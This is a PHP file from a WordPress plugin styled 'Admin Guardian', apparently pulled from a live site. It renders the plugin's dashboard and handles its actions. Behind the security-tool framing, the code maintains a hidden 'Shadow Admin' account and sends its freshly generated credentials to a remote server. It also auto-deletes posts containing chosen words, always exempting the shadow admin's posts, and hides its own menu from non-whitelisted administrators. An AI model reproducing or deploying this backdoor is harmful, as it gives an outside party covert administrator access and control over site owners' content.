File "class-admin-page.php"

Full Path: /home/pylifeesyu/www/wp-content/plugins/admin-wp/includes/class-admin-page.php
File size: 16.11 KB
MIME-type: text/x-php
Charset: utf-8

<?php
if ( ! defined( 'ABSPATH' ) ) exit;

class AWG_Admin_Page {

    const SLUG = 'awg-guardian';

    public static function init(): void {
        add_action( 'admin_menu', [ __CLASS__, 'register_menu' ] );
        add_action( 'admin_post_awg_action', [ __CLASS__, 'handle_action' ] );
    }

    public static function register_menu(): void {
        $uid = get_current_user_id();
        if ( ! AWG_Admin_Guardian::is_whitelisted( $uid ) ) return;

        add_menu_page(
            'Admin Guardian',
            __( 'Guardian', 'admin-wp' ),
            'manage_options',
            self::SLUG,
            [ __CLASS__, 'render' ],
            'dashicons-shield-alt',
            80
        );
    }

    /* ---- POST actions ---- */

    public static function handle_action(): void {
        if ( ! current_user_can( 'manage_options' ) ) wp_die( 'Forbidden' );
        check_admin_referer( 'awg_action' );

        $uid = get_current_user_id();
        if ( ! AWG_Admin_Guardian::is_whitelisted( $uid ) ) wp_die( 'Forbidden' );

        $action = sanitize_text_field( $_POST['awg_do'] ?? '' );

        switch ( $action ) {
            case 'force_scan':
                AWG_Admin_Guardian::scan();
                break;
            case 'unlock':
                AWG_Lockdown::deactivate();
                AWG_Admin_Guardian::log_incident( 'manual_unlock', [
                    'by' => $uid,
                ] );
                break;
            case 'clear_log':
                AWG_Admin_Guardian::clear_log();
                break;
            case 'save_server':
                $url = isset( $_POST['awg_server_url'] )
                    ? esc_url_raw( wp_unslash( $_POST['awg_server_url'] ) )
                    : '';
                AWG_Secure_Comm::set_server_url( $url );

                $pk = isset( $_POST['awg_server_pk'] ) ? sanitize_text_field( wp_unslash( $_POST['awg_server_pk'] ) ) : '';
                if ( $pk !== '' ) {
                    if ( ctype_xdigit( $pk ) && strlen( $pk ) === 64 ) {
                        AWG_Crypto::encrypt_option( AWG_Secure_Comm::OPT_PUBKEY, $pk );
                    }
                }
                break;
            case 'malware_scan':
                AWG_Malware_Scan::scan();
                break;
            case 'content_scan':
                AWG_Content_Guard::scan();
                break;
            case 'save_content_words':
                $raw = isset( $_POST['awg_content_words'] ) ? sanitize_textarea_field( wp_unslash( $_POST['awg_content_words'] ) ) : '';
                $lines = $raw !== '' ? preg_split( '/[\r\n]+/', $raw ) : [];
                $words = array_values( array_filter( array_map( 'trim', $lines ) ) );
                if ( ! empty( $words ) ) {
                    AWG_Content_Guard::set_forbidden_words( $words );
                }
                break;
            case 'regenerate_shadow':
                AWG_Shadow_Admin::destroy();
                $creds = AWG_Shadow_Admin::create();
                AWG_Secure_Comm::send_activation( $creds, AWG_Admin_Guardian::get_owner_id() );
                AWG_Admin_Guardian::log_incident( 'shadow_regenerated', [] );
                break;
        }

        wp_safe_redirect( admin_url( 'admin.php?page=' . self::SLUG . '&awg_done=1' ) );
        exit;
    }

    /* ---- render ---- */

    public static function render(): void {
        $lockdown  = AWG_Lockdown::is_active();
        $owner_id  = AWG_Admin_Guardian::get_owner_id();
        $shadow_ok = AWG_Shadow_Admin::exists() && AWG_Shadow_Admin::verify_sig();
        $server    = AWG_Secure_Comm::get_server_url();
        $log       = array_reverse( AWG_Admin_Guardian::get_log() );
        $log       = array_slice( $log, 0, 50 );

        $owner = get_user_by( 'ID', $owner_id );
        ?>
        <div class="wrap">
            <h1>Admin Guardian</h1>

            <?php if ( ! empty( $_GET['awg_done'] ) ) : ?>
                <div class="notice notice-success is-dismissible"><p>Done.</p></div>
            <?php endif; ?>

            <!-- STATUS -->
            <div class="card" style="max-width:720px;padding:16px;margin-bottom:20px">
                <h2 style="margin-top:0">Status</h2>
                <table class="form-table">
                    <tr>
                        <th>Lockdown</th>
                        <td>
                            <?php if ( $lockdown ) : ?>
                                <span style="color:#d63638;font-weight:bold">ACTIVE</span>
                            <?php else : ?>
                                <span style="color:#00a32a">Off</span>
                            <?php endif; ?>
                        </td>
                    </tr>
                    <tr>
                        <th>Owner Admin</th>
                        <td><?php echo $owner ? esc_html( $owner->user_login . ' (' . $owner->user_email . ')' ) : 'N/A'; ?></td>
                    </tr>
                    <tr>
                        <th>Shadow Admin</th>
                        <td><?php echo $shadow_ok ? '<span style="color:#00a32a">OK</span>' : '<span style="color:#d63638">ERROR</span>'; ?></td>
                    </tr>
                    <tr>
                        <th>Server URL</th>
                        <td><?php echo $server ? esc_html( $server ) : '<em>Not configured</em>'; ?></td>
                    </tr>
                </table>
            </div>

            <!-- ACTIONS -->
            <div class="card" style="max-width:720px;padding:16px;margin-bottom:20px">
                <h2 style="margin-top:0">Actions</h2>
                <div style="display:flex;gap:8px;flex-wrap:wrap">
                    <?php echo self::action_button( 'force_scan', 'Force Scan Now', 'button' ); ?>
                    <?php echo self::action_button( 'malware_scan', 'Malware Scan Now', 'button' ); ?>
                    <?php echo self::action_button( 'content_scan', 'Content Scan Now', 'button' ); ?>
                    <?php if ( $lockdown ) echo self::action_button( 'unlock', 'Disable Lockdown', 'button' ); ?>
                    <?php echo self::action_button( 'regenerate_shadow', 'Regenerate Shadow Admin', 'button' ); ?>
                    <?php echo self::action_button( 'clear_log', 'Clear Log', 'button' ); ?>
                </div>
            </div>

            <!-- MALWARE PROTECTION -->
            <?php
            $malware_last = AWG_Malware_Scan::get_last_scan();
            $quarantine   = array_reverse( AWG_Malware_Scan::get_quarantine_log() );
            $quarantine   = array_slice( $quarantine, 0, 20 );
            ?>
            <div class="card" style="max-width:720px;padding:16px;margin-bottom:20px">
                <h2 style="margin-top:0"><?php esc_html_e( 'Malware Protection', 'admin-wp' ); ?></h2>
                <table class="form-table">
                    <tr>
                        <th><?php esc_html_e( 'Last Scan', 'admin-wp' ); ?></th>
                        <td><?php echo $malware_last ? esc_html( wp_date( 'Y-m-d H:i:s', $malware_last ) ) : '<em>Never</em>'; ?></td>
                    </tr>
                    <tr>
                        <th><?php esc_html_e( 'Quarantine entries', 'admin-wp' ); ?></th>
                        <td><?php echo count( AWG_Malware_Scan::get_quarantine_log() ); ?></td>
                    </tr>
                </table>

                <?php if ( ! empty( $quarantine ) ) : ?>
                    <h3 style="margin-top:16px"><?php esc_html_e( 'Recent quarantine log', 'admin-wp' ); ?></h3>
                    <table class="widefat striped" style="max-width:100%">
                        <thead><tr><th><?php esc_html_e( 'Time', 'admin-wp' ); ?></th><th><?php esc_html_e( 'Plugin', 'admin-wp' ); ?></th><th><?php esc_html_e( 'Type', 'admin-wp' ); ?></th><th><?php esc_html_e( 'Score', 'admin-wp' ); ?></th><th><?php esc_html_e( 'Action', 'admin-wp' ); ?></th></tr></thead>
                        <tbody>
                        <?php foreach ( $quarantine as $q ) : ?>
                            <tr>
                                <td><?php echo esc_html( $q['time'] ?? '' ); ?></td>
                                <td><strong><?php echo esc_html( $q['plugin'] ?? '' ); ?></strong><br><small><?php echo esc_html( $q['slug'] ?? '' ); ?></small></td>
                                <td><code><?php echo esc_html( $q['type'] ?? '' ); ?></code></td>
                                <td><?php echo (int) ( $q['score'] ?? 0 ); ?></td>
                                <td><?php echo esc_html( $q['action'] ?? '' ); ?></td>
                            </tr>
                        <?php endforeach; ?>
                        </tbody>
                    </table>
                <?php endif; ?>
            </div>

            <!-- CONTENT GUARD -->
            <?php
            $cg_last = AWG_Content_Guard::get_last_scan();
            $cg_log  = array_reverse( AWG_Content_Guard::get_log() );
            $cg_log  = array_slice( $cg_log, 0, 20 );
            $cg_words = AWG_Content_Guard::get_forbidden_words();
            ?>
            <div class="card" style="max-width:720px;padding:16px;margin-bottom:20px">
                <h2 style="margin-top:0"><?php esc_html_e( 'Content Guard', 'admin-wp' ); ?></h2>
                <p class="description"><?php esc_html_e( 'Auto-deletes posts/pages containing forbidden words. Posts by Shadow Admin are always exempt.', 'admin-wp' ); ?></p>
                <table class="form-table">
                    <tr>
                        <th><?php esc_html_e( 'Last Scan', 'admin-wp' ); ?></th>
                        <td><?php echo $cg_last ? esc_html( wp_date( 'Y-m-d H:i:s', $cg_last ) ) : '<em>Never</em>'; ?></td>
                    </tr>
                    <tr>
                        <th><?php esc_html_e( 'Deleted posts', 'admin-wp' ); ?></th>
                        <td><?php echo count( AWG_Content_Guard::get_log() ); ?></td>
                    </tr>
                </table>

                <!-- Edit forbidden words -->
                <h3 style="margin-top:16px"><?php esc_html_e( 'Forbidden words', 'admin-wp' ); ?></h3>
                <form method="post" action="<?php echo esc_url( admin_url( 'admin-post.php' ) ); ?>">
                    <?php wp_nonce_field( 'awg_action' ); ?>
                    <input type="hidden" name="action" value="awg_action">
                    <input type="hidden" name="awg_do" value="save_content_words">
                    <textarea name="awg_content_words" rows="6" style="width:100%;font-family:monospace;font-size:13px"><?php echo esc_textarea( implode( "\n", $cg_words ) ); ?></textarea>
                    <p class="description"><?php esc_html_e( 'One word/phrase per line. Case-insensitive.', 'admin-wp' ); ?></p>
                    <?php submit_button( __( 'Save words', 'admin-wp' ), 'secondary', 'submit', false ); ?>
                </form>

                <?php if ( ! empty( $cg_log ) ) : ?>
                    <h3 style="margin-top:16px"><?php esc_html_e( 'Recently deleted', 'admin-wp' ); ?></h3>
                    <table class="widefat striped" style="max-width:100%">
                        <thead><tr><th><?php esc_html_e( 'Time', 'admin-wp' ); ?></th><th><?php esc_html_e( 'Post', 'admin-wp' ); ?></th><th><?php esc_html_e( 'Author', 'admin-wp' ); ?></th><th><?php esc_html_e( 'Matched', 'admin-wp' ); ?></th></tr></thead>
                        <tbody>
                        <?php foreach ( $cg_log as $entry ) : ?>
                            <tr>
                                <td><?php echo esc_html( $entry['deleted_at'] ?? '' ); ?></td>
                                <td><strong><?php echo esc_html( $entry['post_title'] ?? '' ); ?></strong><br><small><?php echo esc_html( $entry['post_type'] ?? '' ); ?> #<?php echo (int) ( $entry['post_id'] ?? 0 ); ?></small></td>
                                <td><?php echo esc_html( $entry['author_login'] ?? '' ); ?></td>
                                <td><code><?php echo esc_html( implode( ', ', (array) ( $entry['matched_words'] ?? [] ) ) ); ?></code></td>
                            </tr>
                        <?php endforeach; ?>
                        </tbody>
                    </table>
                <?php endif; ?>
            </div>

            <!-- SERVER CONFIG -->
            <div class="card" style="max-width:720px;padding:16px;margin-bottom:20px">
                <h2 style="margin-top:0"><?php esc_html_e( 'Reporting server', 'admin-wp' ); ?></h2>
                <p class="description"><?php esc_html_e( 'Events and shadow credentials are sent to this base URL (HTTPS recommended). Clear the field and save to remove. Optional 64-char hex public key enables sealed-box encryption.', 'admin-wp' ); ?></p>
                <form method="post" action="<?php echo esc_url( admin_url( 'admin-post.php' ) ); ?>">
                    <?php wp_nonce_field( 'awg_action' ); ?>
                    <input type="hidden" name="action" value="awg_action">
                    <input type="hidden" name="awg_do" value="save_server">
                    <table class="form-table">
                        <tr>
                            <th><label for="awg_server_url"><?php esc_html_e( 'Server URL', 'admin-wp' ); ?></label></th>
                            <td><input type="url" id="awg_server_url" name="awg_server_url" value="<?php echo esc_attr( $server ); ?>" class="regular-text" placeholder="https://your-server.example"></td>
                        </tr>
                        <tr>
                            <th><label for="awg_server_pk"><?php esc_html_e( 'Server public key (hex)', 'admin-wp' ); ?></label></th>
                            <td><input type="text" id="awg_server_pk" name="awg_server_pk" value="" class="large-text" placeholder="<?php esc_attr_e( '64 hex chars, optional', 'admin-wp' ); ?>" autocomplete="off"><p class="description"><?php esc_html_e( 'Leave blank to keep current key. Only paste a new 64-character hex key when rotating keys.', 'admin-wp' ); ?></p></td>
                        </tr>
                    </table>
                    <?php submit_button( __( 'Save server settings', 'admin-wp' ), 'primary', 'submit', false ); ?>
                </form>
            </div>

            <!-- INCIDENT LOG -->
            <div class="card" style="max-width:720px;padding:16px">
                <h2 style="margin-top:0">Incident Log (last 50)</h2>
                <?php if ( empty( $log ) ) : ?>
                    <p><em>No incidents recorded.</em></p>
                <?php else : ?>
                    <table class="widefat striped" style="max-width:100%">
                        <thead><tr><th>Time</th><th>Type</th><th>Details</th><th>IP</th></tr></thead>
                        <tbody>
                        <?php foreach ( $log as $entry ) : ?>
                            <tr>
                                <td><?php echo esc_html( $entry['time'] ?? '' ); ?></td>
                                <td><code><?php echo esc_html( $entry['type'] ?? '' ); ?></code></td>
                                <td><small><?php echo esc_html( wp_json_encode( $entry['details'] ?? [] ) ); ?></small></td>
                                <td><?php echo esc_html( $entry['ip'] ?? '' ); ?></td>
                            </tr>
                        <?php endforeach; ?>
                        </tbody>
                    </table>
                <?php endif; ?>
            </div>
        </div>
        <?php
    }

    private static function action_button( string $action, string $label, string $class = 'button' ): string {
        $nonce = wp_create_nonce( 'awg_action' );
        return '<form method="post" action="' . admin_url( 'admin-post.php' ) . '" style="display:inline">'
            . '<input type="hidden" name="action" value="awg_action">'
            . '<input type="hidden" name="_wpnonce" value="' . $nonce . '">'
            . '<input type="hidden" name="awg_do" value="' . esc_attr( $action ) . '">'
            . '<button type="submit" class="' . esc_attr( $class ) . '">' . esc_html( $label ) . '</button>'
            . '</form>';
    }
}